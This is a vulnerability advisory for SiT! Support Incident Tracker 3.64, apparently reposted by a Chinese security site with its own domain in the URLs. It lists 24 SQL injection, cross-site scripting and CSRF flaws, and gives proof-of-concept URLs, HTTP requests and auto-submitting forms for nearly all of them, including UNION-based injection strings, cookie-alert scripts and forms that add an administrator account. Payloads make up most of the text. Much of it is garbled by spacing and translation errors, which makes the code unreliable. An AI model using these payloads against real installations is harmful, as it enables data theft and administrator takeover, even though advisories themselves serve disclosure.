SiT! Support Incident Tracker more than 3.64 defects and repair

Advisory Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SiT! Support Incident Tracker, which can be exploited to perform SQL injection, cross-site scripting, cross-site request forgery attacks.
1) Input passed via the "start" GET parameter to/portal/kb. php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:

Http: // www.2cto.com/portal/kb. php? Start = SQL _CODE_HERE

2) Input passed via the "contractid" GET parameter to contract_add_service.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
Http: // www.2cto.com/contract_add_service.php? Contractid = 1% 20 union % 20% 28 select % 20 min % 28 @: = 1% 29 from % 20% 28se lect % 201% 20 union % 20 select % 202% 29 k % 20 group % 20by % 20% 28 select % 20 concat % 28 @ version, 0x0, @ a: = % 28 @ a % 2B1% 29% 2% 29% 29% 20 + -- +
3) Input passed via the "mode" GET parameter to contact_support.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
Http: // www.2cto.com/contact_support.php? Mode = 1% 22% 3E % 3 Cscript % 3 Ealert % 28document. cookie % 29; % 3C/script % 3E
4) Input passed via the "contractid" GET parameter to contract_add_service.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
Http: // www.2cto.com/contract_add_service.php? Contractid = % 22% 3E % 3 Cscript % 3 Ealert % 28document. cookie % 29; % 3C/s identifier % 3E
5) Input passed via the "user" GET parameter to edit_backup_users.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
Http: // www.2cto.com/edit_backup_users.php? User = % 27% 3E % 3 Cscript % 3 Ealert % 28document. cookie % 29; % 3C/script % 3E
6) Input passed via the "id" GET parameter to edit_escalation_path.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
Http: // www.2cto.com/edit_escalation_path.php? Id =-1% 20 union % 20 select % 201, version % 28% 29, user % 28%, 5, 6, 7, 8, 9
7) Input passed via the "id" GET parameter to edit_escalation_path.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
Http: // www.2cto.com/edit_escalation_path.php? Id = % 22% 3E % 3 Cscript % 3 Ealert % 28document. cookie % 29; % 3C/script % 3E
8) Input passed via the Referer parameter to forgotpwd. php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
GET/forgotpwd. php? Userid = 1 & amp; action = sendpwd HTTP/1.1
Referer: '<script> alert (document. cookie); </script>
9) Input passed via the "unlock" & "lock" GET parameters to holding_queue.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
Http: // www.2cto.com/holding_queue.php? Unlock = % 27SQL_CODE_HERE
Http: // www.2cto.com/holding_queue.php? Lock = % 27SQL_CODE_HERE
10) Input passed via the "selected" POST parameter to holding_queue.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
<Form action = "http: // www.2cto.com/holding_queue.php" method = "post">
<Input type = "hidden" name = "selected []" value = "'SQL _ CODE_HERE">
<Input type = "submit" value = "exploit">
</Form>
11) Input passed via the "action" GET parameter to inbox. php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
Http: // www.2cto.com/inbox. php? Action = % 3 Cscript % 3 Ealert % 28document. cookie % 29; % 3C/script % 3E
12) Input passed via the "search_string" GET parameter to incident_add.php (when "action" is set to "findcontact") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
Http: // www.2cto.com/incident_add.php? Action = findcontact & search_string = % 3 Cscript % 3 Ealert % 28document. coo kie % 29; % 3C/script % 3E
13) Input passed via the "inc" POST parameter to report_customers.php (when "mode" is set to "report") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
<Form action = "http: // www.2cto.com/report_customers.php? Mode = report "method =" post ">
<Input type = "hidden" name = "inc []" value = "-1) union select, version,, 56 -- ">
<Input type = "hidden" name = "output" value = "screen">
<Input type = "submit" value = "exploit">
</Form>
14) Input passed via the "table1" POST parameter to report_customers.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
<Form action = "http: // www.2cto.com/report_customers.php" method = "post">
<Input type = "hidden" name = "table1" value = "'> <script> alert (document. cookie); </script>">
<Input type = "submit" value = "exploit">
</Form>
15) Input passed via the "table1" POST parameter to report_incidents_by_engineer.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
<Form action = "http: // www.2cto.com/report_incidents_by_engineer.php" method = "post">
<Input type = "hidden" name = "table1" value = "'> <script> alert (document. cookie); </script>">
<Input type = "submit" value = "exploit">
</Form>
16) Input passed via the "table1" POST parameter to report_incidents_by_site.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
<Form action = "http: // www.2cto.com/report_incidents_by_site.php" method = "post">
<Input type = "hidden" name = "table1" value = "'> <script> alert (document. cookie); </script>">
<Input type = "submit" value = "exploit">
</Form>
17) Input passed via the "inc" POST parameter to report_incidents_by_site.php (when "mode" is set to "report") is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
<Form action = "http: // www.2cto.com/report_incidents_by_site.php? Mode = report "method =" post ">
<Input type = "hidden" name = "inc []" value = "-1) union select version (), 2, 3, 4, 5, 6, 7, 8, 9, 10 --">
<Input type = "hidden" name = "output" value = "screen">
<Input type = "submit" value = "exploit">
</Form>
18) Input passed via the "startdate" & "enddate" GET parameters to report_incidents_by_vendor.php (when "mode" not empty) is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
Http: // www.2cto.com/report_incidents_by_vendor.php? Mode = 1 & startdate = % 3 Cscript % 3 Ealert % 281% 29; % 3C/scrip t % 3E & enddate = % 3 Cscript % 3 Ealert % 282% 29; % 3C/script % 3E
19) Input passed via the "table1" POST parameter to report_marketing.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
<Form action = "http: // www.2cto.com/report_marketing.php" method = "post">
<Input type = "hidden" name = "table1" value = "'> <script> alert (document. cookie); </script>">
<Input type = "submit" value = "exploit">
</Form>
20) Input passed via the "start" GET parameter to search. php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
Http: // www.2cto.com/search. php? Q= 123 & domain = incidents & start = SQL _CODE_HERE [code]
21) Input passed via the "sites" GET parameter to transactions. php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
[Code] http: // www.2cto.com/transactions. php? Sites [] = 1% 20 union % 20 select % 28%, vers ion %, + -- +
22) Input passed via the Referer parameter to billable_incidents.php (when "mode" is set to "approvalpage" & "output" is set to "html ") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
GET/billable_incidents.php? Mode = approvalpage & output = html HTTP/1.1
Referer: '> <script> alert (document. cookie); </script>
23) Input passed via the Referer parameter to transactions. php (when "display" is set to "html") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user browser session in context of affected website.
The following PoC code is available:
GET/transactions. php? Display = html HTTP/1.1
Referer: '> <script> alert (document. cookie); </script>
24) The application allows users to perform certain actions via HTTP requests without making proper validity checks to verify the requests.
This can be exploited to e.g. change administrator email, add new administrator or conducting CT script insertion attacks by tricking an administrator into visiting a malicious web site while being logged-in to the application.
The following PoC is available:
<Form action = "http: // www.2cto.com/user_profile_edit.php" method = "post">
<Input type = "hidden" name = "realname" value = "realname">
<Input type = "hidden" name = "mode" value = "save">
<Input type = "hidden" name = "submit" value = "Save">
<Input type = "hidden" name = "email" value = "testemail@test.com">
<Input type = "hidden" name = "userid" value = "1">
<Input type = "submit" id = "btn">
</Form>
<Script>
Document. getElementById ('btn '). click ();
</Script>
<Form action = "http: // www.2cto.com/user_add.php" method = "post">
<Input type = "hidden" name = "realname" value = "testuser">
<Input type = "hidden" name = "username" value = "testuser">
<Input type = "hidden" name = "password" value = "password">
<Input type = "hidden" name = "groupid" value = "0">
<Input type = "hidden" name = "roleid" value = "1">
<Input type = "hidden" name = "jobtitle" value = "jobtitle">
<Input type = "hidden" name = "email" value = "email@email.com">
<Input type = "hidden" name = "submit" value = "Add User">
<Input type = "submit" id = "btn">
</Form>
<Script>
Document. getElementById ('btn '). click ();
</Script>

Www.2cto.com:
Fix the above analysis one by one